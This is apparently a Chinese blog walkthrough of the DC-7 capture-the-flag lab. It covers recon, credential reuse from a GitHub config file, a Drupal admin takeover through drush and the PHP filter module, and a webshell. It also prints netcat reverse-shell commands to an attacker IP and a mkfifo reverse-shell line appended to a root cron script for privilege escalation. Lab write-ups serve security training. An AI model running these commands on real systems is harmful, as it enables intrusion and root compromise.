当前位置: 首页 > news >正文

【安全靶场】-DC-7

❤️博客主页 iknow181
🔥系列专栏 网络安全、 Python、JavaSE、JavaWeb、CCNP
🎉欢迎大家点赞👍收藏⭐评论✍


在这里插入图片描述

一、收集信息

1.查看主机是否存活

nmap -T4 -sP 192.168.216.149

2.主动扫描

看开放了哪些端口和功能

nmap -A -p- 192.168.216.149

发现
22-ssh

80-http

3.whatweb扫描

发现有网站,进一步确认

4.搜索作者

发现下面有作者

去github上搜索一下,有没有相关内容

点击users,看

找到一个config.php文件,这是一个连接数据库的配置文件,里面有用户名和密码,可能和他的vps或者服务器的用户名密码匹配的

二、入侵目标主机

1.尝试进行ssh登录

2.查看文件

发现执行了/opt/scripts/backups.sh文件,生成了那些.gz的文件

3.进入文件夹

发现是一个备份数据库的sh文件,有可能是定时任务执行

4.利用drush

因为是drupal,所有有个drush命令

drush可以修改管理员用户

进入网站的根目录,修改管理员密码为123456(注意命令不要有空格)

5.进入网站后台

可以看到有个login

可以进入192.168.216.149/user/login,登录admin

进入content,编辑文章

最好能写入php代码

6.安装php插件

整一个drupal的php插件

加载安装包

安装成功

勾选php filter,并且激活

回到content发现有phpcode

7.生成木马文件写入

将其复制到content中

7.连接

8.nc连接

因为这个木马可能不太稳定

kali:nc -lvp 9988

目标:nc -e /bin/bash 192.168.216.161 9988

连接成功

9.美化界面

python -c 'import pty;pty.spawn("/bin/bash")'

三、提权

1.kali监听1234端口

2.将命令写入backups.sh

因为backups.sh是一个计划任务,用的root权限

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.216.161 1234 > /tmp/f" >> backups.sh"

3.等待计划任务执行

4.拿到flag

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • UE赋予某个C++类tick的能力
  • git错误fatal: Unpack error, check server log
  • 正则表达式备查
  • ubuntu VCS+verdi安装遇到的一些问题
  • 【网络安全】学过编程就是黑客?
  • 持久化SSE对象
  • unity Android + WebGL 浏览器打开
  • 【开源社区】Elasticsearch(ES)中 exists 查询空值字段的坑
  • 【前端】vue监视属性和计算属性对比
  • mp4怎么转换成mp3?看了就会的8种mp4转mp3方法!
  • 快速查找数组中出现奇数次的数字
  • Web应用加密数据传输方案
  • mac安装xmind
  • 前后端不分离,form前端表单提交,springboot后端list接收
  • <数据集>车内视角行人识别数据集<目标检测>
  • 11111111
  • Babel配置的不完全指南
  • C++入门教程(10):for 语句
  • JavaScript函数式编程(一)
  • markdown编辑器简评
  • MaxCompute访问TableStore(OTS) 数据
  • Odoo domain写法及运用
  • ubuntu 下nginx安装 并支持https协议
  • vue中实现单选
  • WordPress 获取当前文章下的所有附件/获取指定ID文章的附件(图片、文件、视频)...
  • 从输入URL到页面加载发生了什么
  • 关于使用markdown的方法(引自CSDN教程)
  • 回顾 Swift 多平台移植进度 #2
  • 机器人定位导航技术 激光SLAM与视觉SLAM谁更胜一筹?
  • 爬虫进阶 -- 神级程序员:让你的爬虫就像人类的用户行为!
  • 前端面试题总结
  • 如何优雅地使用 Sublime Text
  • 我感觉这是史上最牛的防sql注入方法类
  • 在Docker Swarm上部署Apache Storm:第1部分
  • 从如何停掉 Promise 链说起
  • ​MPV,汽车产品里一个特殊品类的进化过程
  • ​油烟净化器电源安全,保障健康餐饮生活
  • # 利刃出鞘_Tomcat 核心原理解析(八)-- Tomcat 集群
  • #java学习笔记(面向对象)----(未完结)
  • #我与Java虚拟机的故事#连载07:我放弃了对JVM的进一步学习
  • $ is not function   和JQUERY 命名 冲突的解说 Jquer问题 (
  • (2)从源码角度聊聊Jetpack Navigator的工作流程
  • (26)4.7 字符函数和字符串函数
  • (27)4.8 习题课
  • (4)logging(日志模块)
  • (AtCoder Beginner Contest 340) -- F - S = 1 -- 题解
  • (Redis使用系列) Springboot 整合Redisson 实现分布式锁 七
  • (附源码)springboot家庭装修管理系统 毕业设计 613205
  • (附源码)ssm教师工作量核算统计系统 毕业设计 162307
  • (六)什么是Vite——热更新时vite、webpack做了什么
  • (十)T检验-第一部分
  • (使用vite搭建vue3项目(vite + vue3 + vue router + pinia + element plus))
  • (一)kafka实战——kafka源码编译启动
  • (转)拼包函数及网络封包的异常处理(含代码)
  • ***详解账号泄露:全球约1亿用户已泄露